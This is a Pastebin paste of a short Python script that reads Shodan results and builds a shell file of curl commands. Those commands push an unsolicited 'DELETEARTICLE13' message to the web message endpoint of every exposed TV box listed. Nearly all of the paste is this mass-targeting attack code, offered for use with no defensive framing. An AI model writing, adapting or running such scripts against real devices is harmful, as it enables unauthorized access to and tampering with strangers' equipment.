Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Generates and then execs a shell file to print messages to various TV boxes lol
- import json
- import subprocess
- SHODAN_DATA_FILE = 'screenslaver.json'
- PJL_NC_PRINT_STR_TEMPLATE = "curl '{0}/web/message?text=DELETEARTICLE13&type=3&timeout=100' &"
- shell_exec = "screenslaver"
- shell_exec_file = open(shell_exec, "w")
- for item in open(SHODAN_DATA_FILE).readlines():
- jsonified_item = json.loads(item)
- print_exec_string = PJL_NC_PRINT_STR_TEMPLATE.format(jsonified_item['ip_str'])
- shell_exec_file.write(print_exec_string + "\n")
- # Built with reverse engineering from mass_print.py
- # May the Force Be with you
- # cybernanakinvader.wordpress.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement